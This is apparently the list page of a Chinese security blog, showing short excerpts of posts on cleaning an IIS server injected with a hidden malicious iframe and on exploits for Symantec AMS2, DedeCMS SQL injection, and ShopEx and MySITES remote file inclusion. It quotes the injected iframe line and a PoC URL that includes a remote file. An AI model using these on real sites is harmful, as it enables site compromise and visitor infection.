预览模式: 普通 | 列表

处理WIN2003服务器IIS被挂马全过程

By  wuchaochao

一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒

查看更多...

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 72
#The AMS2 (Alert Management Systems 2) component of multiple Symantec products is prone to a remote #command-execution vulnerability because the software fails to adequately sanitize user-supplied #input.
#Successfully exploiting this issue will allow an attacker to execute arbitrary commands with #SYSTEM-level privileges, completely compromising affected computers. Failed exploit attempts will #result in a denial-of-service condition.
# # # # # # # # # # # # # # # # # # # # # # # # #
### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE
### REMOTE SYSTEM LEVEL EXPLOIT

查看更多...

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 28

dedecmsV2.1完美版SQL注入Oday

以现在的DEDECMS不可能出现的一个漏洞,重STOP群传出的..之后去拿shell到修复漏洞..$conn变量没有过滤!

漏洞文件:php/viewart.php
<?
require_once("config.php");

查看更多...

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 25

ShopEx4.7及以下版本远程包含漏洞

ShopEx4.7及以下版本远程包含漏洞
漏洞描述:
verifycode.php

<?php  

查看更多...

Tags: ShopEx

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 31

MySITES3.0网站导航系统远程包含漏洞

因为函数未初始化,导致函数可以任意包含文件;
1,register_global=On
2,allow_url_fopen = On
然后即可包含Poc:www.r0expeR.Net/index.php?pathdir=http://www.r0expeR.Net/xx.txt
<?php

查看更多...

Tags: MySITES

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 34